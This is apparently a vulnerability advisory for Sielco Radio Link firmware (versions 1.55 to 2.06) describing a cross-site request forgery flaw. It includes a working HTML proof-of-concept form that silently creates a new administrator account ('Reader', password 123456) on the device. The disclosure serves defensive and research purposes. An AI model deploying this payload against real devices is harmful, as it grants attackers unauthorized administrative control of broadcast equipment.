Sielco Radio Link 2.06 Cross-Site Request Forgery (Add Admin)  
Vendor: Sielco S.r.l  
Product web page:  
Affected version: 2.06 (RTX19)  
2.05 (RTX19)  
2.00 (EXC19)  
1.60 (RTX19)  
1.59 (RTX19)  
1.55 (EXC19)  
Summary: Sielco develops and produces radio links for all  
transmission and reception needs, thanks to innovative units  
and excellent performances, accompanied by a high reliability  
and low consumption.  
Desc: The application interface allows users to perform certain  
actions via HTTP requests without performing any validity checks  
to verify the requests. This can be exploited to perform certain  
actions with administrative privileges if a logged-in user visits  
a malicious web site.  
Tested on: lwIP/2.1.1  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
Advisory ID: ZSL-2023-5761  
Advisory URL:  
CSRF Add Admin:  
<form action="http://radiolink/protect/users_rx.htm" method="POST">  
<input type="hidden" name="pwd0" value="" />  
<input type="hidden" name="pwd0bis" value="" />  
<input type="hidden" name="user1" value="Reader" />  
<input type="hidden" name="pwd1" value="123456" />  
<input type="hidden" name="pwd1bis" value="123456" />  
<input type="hidden" name="auth1" value="2" />  
<input type="hidden" name="user2" value="" />  
<input type="hidden" name="pwd2" value="" />  
<input type="hidden" name="pwd2bis" value="" />  
<input type="hidden" name="auth2" value="0" />  
<input type="hidden" name="user3" value="" />  
<input type="hidden" name="pwd3" value="" />  
<input type="hidden" name="pwd3bis" value="" />  
<input type="hidden" name="auth3" value="0" />  
<input type="submit" value="Adminize Me!" />